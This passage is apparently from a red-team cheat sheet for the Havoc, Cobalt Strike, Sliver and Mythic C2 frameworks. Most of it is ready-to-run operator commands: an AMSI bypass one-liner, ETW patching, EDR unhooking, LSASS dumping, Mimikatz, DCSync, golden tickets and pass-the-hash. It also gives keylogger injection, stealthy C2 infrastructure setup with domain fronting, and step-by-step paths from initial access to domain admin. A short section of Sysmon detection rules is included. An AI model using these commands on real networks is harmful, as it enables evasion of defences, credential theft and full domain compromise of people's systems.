Demon » bof /opt/BOFs/TrustQuery.o
Demon » bof /opt/BOFs/adcs_enum.o
Demon » bof /opt/BOFs/nanorobeus.o kerberoast
Demon » bof /opt/BOFs/unhook_ntdll.o    # Unhook EDR in NTDLL!
Demon » bof /opt/BOFs/ldapsearch.o "(objectCategory=user)" samaccountname

# ==========================================
# SCREENSHOT / KEYLOG
# ==========================================

Demon » screenshot                    # Take screenshot
Demon » keylogger inject --pid PID   # Inject keylogger

# ==========================================
# HAVOC MODULES (Python-based extensions)
# ==========================================

# Load custom module
Demon » module load /path/to/module.py

# Example community modules:
# HavocFramework/Modules:
#   - KrbRelay     → Kerberos relay via DCOM
#   - LdapSignCheck → Check LDAP signing status
#   - StandIn      → AD attack suite

# In payload generation (Havoc GUI → Payload → Config):

# Injection technique (avoids direct syscall detection)
Injection: IndirectSyscall    # Use ntdll syscall stubs — EDR hooks bypassed!
# OR:
Injection: SyscallStub        # Generate custom syscall stubs

# AMSI/ETW patching (on first execution)
AmsiEtw: Patch                # Patch amsi.dll + ETW in current process

# Stack spoofing (hides Demon in call stack)
StackDuplication: true        # Spoof call stack during sleep

# Process spawn (what process post-ex spawns into)
Injection:
  Spawn64: C:\Windows\System32\dllhost.exe
  Spawn86: C:\Windows\SysWOW64\dllhost.exe

# === INFRASTRUCTURE ===
# ✅ Always use redirectors (never expose team server directly!)
# ✅ Use HTTPS with valid Let's Encrypt cert (self-signed = IOC!)
# ✅ Restrict team server ports via firewall (only from redirectors)
# ✅ Access team server GUI via SSH tunnel only
# ✅ Use CDN (Cloudflare) for domain fronting when possible
# ✅ Register aged domains (>6 months old, with good reputation)
# ✅ Domain categories: technology, software updates, Microsoft-like names

# === PAYLOAD ===
# ✅ NEVER use staging in mature engagements (stage2 URL = IOC)
# ✅ Sleep 60–300s with 20–40% jitter
# ✅ Use sleep obfuscation (Ekko, Sleep Mask, Foliage)
# ✅ Use indirect syscalls where possible (Havoc, custom loaders)
# ✅ Patch AMSI + ETW before post-ex operations
# ✅ Spawn into dllhost.exe, WerFault.exe, svchost.exe (not cmd.exe!)
# ✅ Custom malleable/traffic profiles to blend in
# ✅ Kill date + canary domains in implants

# === OPERATIONS ===
# ✅ Never run PowerShell directly (use powerpick/unmanaged runspace)
# ✅ Use execute-assembly / BOFs instead of running binaries on disk
# ✅ Migrate out of initial process quickly
# ✅ Avoid injecting into lsass.exe, csrss.exe, winlogon.exe
# ✅ Delete or shred payloads after execution
# ✅ Document every action (for deconfliction with blue team)

# === AMSI BYPASS (before running .NET tools) ===

# Option 1: Patch amsiScanBuffer (Havoc does this natively)
# Option 2: AMSI.fail (encode + run)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Option 3: Compile with AMSI patches (BOF)
beacon> inline-execute amsi_patch.o

# === ETW BYPASS ===

# Patch EtwEventWrite in ntdll (Havoc does natively)
# Via BOF:
beacon> inline-execute etw_patch.o

# === NTDLL UNHOOKING (bypass EDR user-mode hooks) ===

# Method 1: Fresh copy from disk
# Read clean ntdll.dll from disk → overwrite hooked version in memory
beacon> execute-assembly RefreshNTDLL.exe

# Method 2: Map ntdll from KnownDlls
# Method 3: Syscall stubs (skip ntdll entirely!)
# → Havoc IndirectSyscall does this natively

# BOF: Unhook ntdll
beacon> inline-execute unhook_ntdll.o

# === PROCESS INJECTION (evade AV hooks) ===

# Use indirect syscalls for: NtAllocateVirtualMemory, NtWriteVirtualMemory,
#                            NtCreateThreadEx, NtProtectVirtualMemory
# These are in ntdll and heavily hooked by EDRs

# Early Bird APC injection (before hooks loaded!)
# Process Doppelgänging / Ghosting (file-less process creation)
# Heap spray + ROP chains (no NX violation)

# === LSASS PROTECTION BYPASS ===

# MiniDumpWriteDump via syscalls (no direct lsass handle!)
beacon> inline-execute nanodump.o --write C:\Temp\lsass.dmp --valid --fork

# Custom handle via DuplicateHandle trick
# Access via snapshot (comsvcs.dll MiniDump)

# === MALLEABLE C2 (Cobalt Strike) ===
# Impersonate Microsoft Update: match exact headers, URIs, cookies
# See Section 3.5 for full profile

# === DOMAIN FRONTING ===
# Use CDN (Cloudflare, Azure CDN, AWS CloudFront)
# Your domain → CDN → Team server
# Victim sees CDN IP (microsoft.com edge) → allowed by firewall!

# === DNS C2 (ultra-stealthy) ===
# Commands encoded in DNS TXT queries
# Response encoded in DNS TXT records
# Slow but virtually undetectable in basic logging
# Cobalt Strike: DNS beacon (TXT method)
# Sliver: DNS implant
# Common DNS encoding: base32, base64 in subdomain labels

# === HTTPS + Valid Cert ===
# Self-signed cert = HUGE IOC (seen by Zeek/Suricata immediately)
# Use: certbot, Let's Encrypt, or purchased cert
certbot certonly --standalone -d yourdomain.com
# Import into Cobalt Strike listener / Havoc listener / Sliver

<!-- Detect process injection via CreateRemoteThread -->
<RuleGroup name="Injection" groupRelation="or">
    <CreateRemoteThread onmatch="include">
        <TargetImage condition="is">C:\Windows\System32\dllhost.exe</TargetImage>
        <TargetImage condition="is">C:\Windows\System32\svchost.exe</TargetImage>
        <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
    </CreateRemoteThread>
</RuleGroup>

<!-- Detect suspicious named pipe creation (CS SMB beacon) -->
<RuleGroup name="PipeName" groupRelation="or">
    <PipeEvent onmatch="include">
        <PipeName condition="contains">MSSE-</PipeName>
        <PipeName condition="contains">msagent_</PipeName>
        <PipeName condition="contains">postex_</PipeName>
    </PipeEvent>
</RuleGroup>

<!-- Detect LSASS access -->
<ProcessAccess onmatch="include">
    <TargetImage condition="is">C:\Windows\system32\lsass.exe</TargetImage>
    <GrantedAccess condition="is">0x1010</GrantedAccess>
</ProcessAccess>

# ==========================================
# COBALT STRIKE — QUICK REF
# ==========================================

# Setup
./teamserver TEAMSERVER_IP PASSWORD profile.c2
ssh -L 50050:localhost:50050 root@TEAMSERVER &

# Payload (stageless = always!)
Attacks → Packages → Windows EXE → Stageless → x64

# Core Beacon ops
beacon> sleep 60 20                        # OPSEC sleep
beacon> getuid                             # Who am I?
beacon> ps                                 # Processes (find AV/EDR)
beacon> execute-assembly SharpHound.exe -c All  # C# in memory
beacon> powerpick Get-DomainUser -SPN     # PS without logs
beacon> inline-execute nanodump.o --write C:\Temp\lsass.dmp  # LSASS dump (BOF)
beacon> logonpasswords                     # Mimikatz
beacon> dcsync CORP.LOCAL krbtgt          # DCSync krbtgt
beacon> jump winrm64 TARGET LISTENER      # Lateral → WinRM
beacon> jump wmi TARGET LISTENER          # Lateral → WMI
beacon> link TARGET \\.\pipe\MSSE-custom  # SMB pivot
beacon> socks 1080                        # SOCKS proxy
beacon> steal_token PID                   # Token theft
beacon> pth DOMAIN\User NTLM_HASH        # Pass-the-Hash
beacon> kerberos_ticket_use ticket.kirbi  # Pass-the-Ticket

# ==========================================
# SLIVER — QUICK REF
# ==========================================

# Setup
sliver-server
sliver --config operator.cfg

# Listeners
sliver > mtls --lhost 0.0.0.0 --lport 8888
sliver > https --domain c2.domain.com --lport 443

# Generate implants
sliver > generate --mtls TEAMSERVER:8888 --os windows --arch amd64 --save implant.exe
sliver > generate beacon --https c2.domain.com --seconds
 60 --jitter 20 --save beacon.exe
sliver > generate --mtls TEAMSERVER:8888 --format shellcode --os windows --save shellcode.bin

# Armory (install all tools)
sliver > armory install all

# Session ops
sliver > sessions
sliver > use SESSION_ID
sliver (IMPLANT) > whoami
sliver (IMPLANT) > ps
sliver (IMPLANT) > execute-assembly SharpHound.exe -c All
sliver (IMPLANT) > execute-assembly Rubeus.exe kerberoast --outfile hashes.txt
sliver (IMPLANT) > execute-assembly SafetyKatz.exe
sliver (IMPLANT) > socks5 start --host 127.0.0.1 --port 1080
sliver (IMPLANT) > portfwd add --remote DC01:445 --bind 127.0.0.1:4445
sliver (IMPLANT) > migrate PID
sliver (IMPLANT) > screenshot

# Armory aliases (after armory install all)
sliver (IMPLANT) > sharphound -c All
sliver (IMPLANT) > rubeus kerberoast
sliver (IMPLANT) > seatbelt -group=all
sliver (IMPLANT) > certify find /vulnerable
sliver (IMPLANT) > sharpup audit
sliver (IMPLANT) > sharpview Get-DomainUser -SPN

# ==========================================
# MYTHIC — QUICK REF
# ==========================================

# Setup
git clone https://github.com/its-a-feature/Mythic && cd Mythic
sudo make && sudo ./mythic-cli start

# Install agents + profiles
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http

# Web UI: https://TEAMSERVER:7443
# Generate payload via UI → Payloads → Generate New Payload

# Apollo agent key commands (via web console)
shell whoami
execute_assembly SharpHound.exe -- -c All
execute_assembly Rubeus.exe -- kerberoast
execute_assembly Seatbelt.exe -- -group=all
mimikatz sekurlsa::logonpasswords
dcsync --domain CORP.LOCAL --user krbtgt
ptt --ticket BASE64_TICKET
golden_ticket --user Admin --domain CORP.LOCAL --sid S-1-5-21-... --rc4 KRBTGT_HASH
jump --technique winrm --computer TARGET --listener LISTENER
socks5 start --port 1080
screenshot
download C:\Users\Admin\secret.txt

# ==========================================
# HAVOC — QUICK REF
# ==========================================

# Setup
git clone https://github.com/HavocFramework/Havoc && cd Havoc
cd teamserver && go build -o teamserver cmd/main.go
./teamserver server --profile profiles/default.yaotl

# Build GUI client
cd ../client && cmake -S . -B build && cmake --build build -j4
./build/Havoc

# Key Demon commands (Havoc console)
Demon » shell whoami
Demon » ps
Demon » execute-assembly /path/Rubeus.exe kerberoast
Demon » execute-assembly /path/Seatbelt.exe -- -group=all
Demon » execute-assembly /path/SharpHound.exe -- -c All
Demon » execute-assembly /path/Certify.exe find /vulnerable
Demon » mimikatz sekurlsa::logonpasswords
Demon » mimikatz lsadump::dcsync /user:krbtgt /domain:CORP.LOCAL
Demon » lsass dump
Demon » token steal --pid PID
Demon » token make --user CORP\Admin --password P@ss
Demon » privesc getsystem
Demon » socks5 1080
Demon » portfwd add 8080 TARGET 80
Demon » pivot smb connect --target TARGET --pipe svchost-ldr
Demon » bof /opt/BOFs/adcs_enum.o
Demon » bof /opt/BOFs/nanorobeus.o kerberoast
Demon » bof /opt/BOFs/unhook_ntdll.o
Demon » screenshot
Demon » download C:\Users\Admin\file.txt

# ==========================================
# FULL ATTACK SCENARIO REFERENCE
# ==========================================

# --- SCENARIO 1: Initial Access → DA (CS) ---
# 1. Phish or exploit → drop beacon_stageless.exe → callback
# 2. beacon> sleep 60 20
# 3. beacon> getuid / ps / ipconfig              # Situational awareness
# 4. beacon> execute-assembly Seatbelt.exe -group=all  # Host survey
# 5. beacon> execute-assembly SharpHound.exe -c DCOnly  # AD enum
# 6. beacon> execute-assembly Certify.exe find /vulnerable  # ADCS check
# 7. If ESC1: request cert → Rubeus asktgt → ptt
# 8. beacon> dcsync CORP.LOCAL krbtgt           # DCSync → full DA
# 9. beacon> jump winrm DC01 LISTENER           # Move to DC
# 10. beacon> logonpasswords                    # Dump all creds

# --- SCENARIO 2: Coercion → ADCS → DA (Sliver) ---
# 1. sliver > https --domain c2.domain.com      # Start listener
# 2. Deploy beacon via phish / RCE
# 3. sliver (IMPLANT) > execute-assembly Coercer.exe ...  # Coerce DC
# 4. Relay to ADCS (external ntlmrelayx)
# 5. sliver (IMPLANT) > execute-assembly Rubeus.exe asktgt /certificate:cert
# 6. sliver (IMPLANT) > execute-assembly secretsdump...   # DCSync

# --- SCENARIO 3: EDR-Heavy Env (Havoc) ---
# 1. Build Demon with: Ekko sleep, IndirectSyscall, AMSI/ETW patch, stack spoof
# 2. Deliver via custom loader (donut → shellcode → inject into dllhost.exe)
# 3. Demon » bof unhook_ntdll.o                # Unhook EDR
# 4. Demon » lsass dump                        # BOF-based LSASS dump
# 5. Demon » execute-assembly Rubeus.exe asktgt /user:Admin /ntlm:HASH /ptt
# 6. Demon » mimikatz lsadump::dcsync /user:krbtgt

# --- SCENARIO 4: Multi-operator Engagement (Mythic) ---
# 1. Deploy Mythic → Apollo agent to initial access
# 2. All operators interact via web UI
# 3. Credentials auto-stored in Mythic credential store
# 4. Files auto-logged in Mythic file browser
# 5. Generate engagement report directly from Mythic UI
# 6. Event log tracks every operator action (audit trail)

# ==========================================
# C2 INFRASTRUCTURE SETUP REFERENCE
# ==========================================

# Redirector (Apache mod_rewrite)
# /etc/apache2/sites-available/c2.conf
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/api/v1/.*$    [OR]
RewriteCond %{REQUEST_URI} ^/updates/.*$
RewriteRule ^/(.*)$ https://TEAMSERVER_IP/$1 [P,L]
RewriteRule .* - [R=404,L]              # Everything else → 404

# Firewall (iptables — lock down team server)
iptables -A INPUT -s REDIRECTOR_IP -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -s OPERATOR_IP -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP   # Block all other 443
iptables -A INPUT -p tcp --dport 50050 -j DROP # Block CS GUI externally

# SSH tunnel for CS GUI access (operator machine)
ssh -L 50050:127.0.0.1:50050 root@TEAMSERVER -N -f

# Get valid SSL cert (redirector)
certbot certonly --standalone -d yourdomain.com
# Import into CS: Cobalt Strike → Script Manager → (KeyStore file)
# keytool -importkeystore -srckeystore yourdomain.p12 -destkeystore cs.store

# ==========================================
# PIVOTING QUICK REFERENCE
# ==========================================

# Cobalt Strike
beacon> socks 1080                                  # SOCKS4a on :1080
beacon> link TARGET \\.\pipe\pipename               # SMB pivot
beacon> rportfwd LOCALPORT TARGET TARGETPORT        # Port forward

# Sliver
sliver (IMPLANT) > socks5 start --port 1080         # SOCKS5 on :1080
sliver (IMPLANT) > portfwd add --remote TARGET:445 --bind 0.0.0.0:4445

# Havoc
Demon » socks5 1080                                 # SOCKS5 on :1080
Demon » pivot smb connect --target TARGET --pipe pipename

# Proxychains usage (route any tool through pivot)
proxychains nmap -sT -Pn -p 80,443,445,3389 10.10.10.0/24
proxychains crackmapexec smb 10.10.10.0/24 -u Admin -p P@ss
proxychains impacket-secretsdump CORP/Admin:P@ss@DC01.CORP.LOCAL
proxychains impacket-psexec CORP/Admin:P@ss@TARGET.CORP.LOCAL
proxychains bloodhound-python -c All -u jsmith -p P@ss -d CORP.LOCAL -ns DC_IP

# ==========================================
# OPSEC SLEEP REFERENCE
# ==========================================

# Cobalt Strike
beacon> sleep 300 30      # 5 min ± 30% jitter (very quiet)
beacon> sleep 60 20       # 1 min ± 20% (balanced)
beacon> sleep 10 10       # Fast (only use when needed, noisy!)

# Sliver beacon
sliver > generate beacon --seconds 300 --jitter 30 ...

# Havoc (in payload config GUI)
Sleep Interval: 60000ms
Sleep Jitter:   20%
Sleep Technique: Ekko     ← most evasive

# Rule of thumb:
# Initial foothold:     sleep 300 30  (stay hidden)
# Active exploitation:  sleep 30 20   (responsive but quiet)
# Data exfil:           sleep 10 10   (fast, accept risk)
# Long-term access:     sleep 600 40  (very stealthy)

# ==========================================
# MITRE ATT&CK — C2 FRAMEWORK MAPPING
# ==========================================

# T1071.001  → HTTP/HTTPS C2 (all frameworks)
# T1071.004  → DNS C2 (CS DNS, Sliver DNS)
# T1095      → Non-standard port (mTLS 8888, CS 443)
# T1572      → Protocol tunneling (SOCKS, port forward)
# T1090      → Proxy (SOCKS via beacon)
# T1219      → Remote Access Tools (C2 frameworks)
# T1055      → Process injection (inject, migrate)
# T1059.001  → PowerShell (powershell command)
# T1059.003  → Windows Command Shell (shell command)
# T1059.006  → Python (Poseidon/Medusa)
# T1106      → Native API (BOFs, syscalls)
# T1003.001  → LSASS Memory dump (logonpasswords, lsass dump)
# T1550.002  → Pass-the-Hash (pth, make_token)
# T1550.003  → Pass-the-Ticket (kerberos_ticket_use, ptt)
# T1558.001  → Golden Ticket (kerberos::golden)
# T1558.003  → Kerberoasting (execute-assembly Rubeus)
# T1547.001  → Registry Run Key (persistence)
# T1053.005  → Scheduled Task (persistence)
# T1021.002  → SMB Lateral Movement (jump psexec)
# T1021.006  → WMI Lateral Movement (jump wmi)
# T1021.003  → WinRM Lateral Movement (jump winrm)
# T1484.001  → GPO Modification (SharpGPOAbuse via execute-assembly)
# T1649      → Forge Certificate (Certify + Rubeus via C2)